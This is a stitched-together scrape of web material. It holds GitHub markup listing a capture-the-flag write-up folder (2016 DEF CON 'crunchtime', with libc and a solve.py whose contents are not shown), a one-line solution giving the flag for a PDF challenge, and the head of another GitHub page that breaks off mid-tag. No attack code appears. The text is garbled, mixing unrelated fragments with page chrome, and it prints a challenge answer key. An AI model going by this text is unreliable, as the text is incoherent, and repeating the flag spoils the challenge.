<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/DaramG/ctf-writeup/refs" cache-key="v0:1463982011.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGFyYW1HL2N0Zi13cml0ZXVw" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/DaramG/ctf-writeup/refs" cache-key="v0:1463982011.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGFyYW1HL2N0Zi13cml0ZXVw" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>crunchtime<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>crunchtime<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/DaramG/ctf-writeup/tree-commit/4b69e2f6c0aa79f4be819afdbf1834166d26bc06/2016_defcon/crunchtime" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/DaramG/ctf-writeup/file-list/master/2016_defcon/crunchtime"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>crunchtime</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
#Untitled-1.pdf
In an appropriate PDF viewer (Chrome's built-in viewer should work), type ⌘-A, ⌘-C, and ⌘-V in some text editor to get the flag: `PCTF{how_2_pdf_yo}`. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" 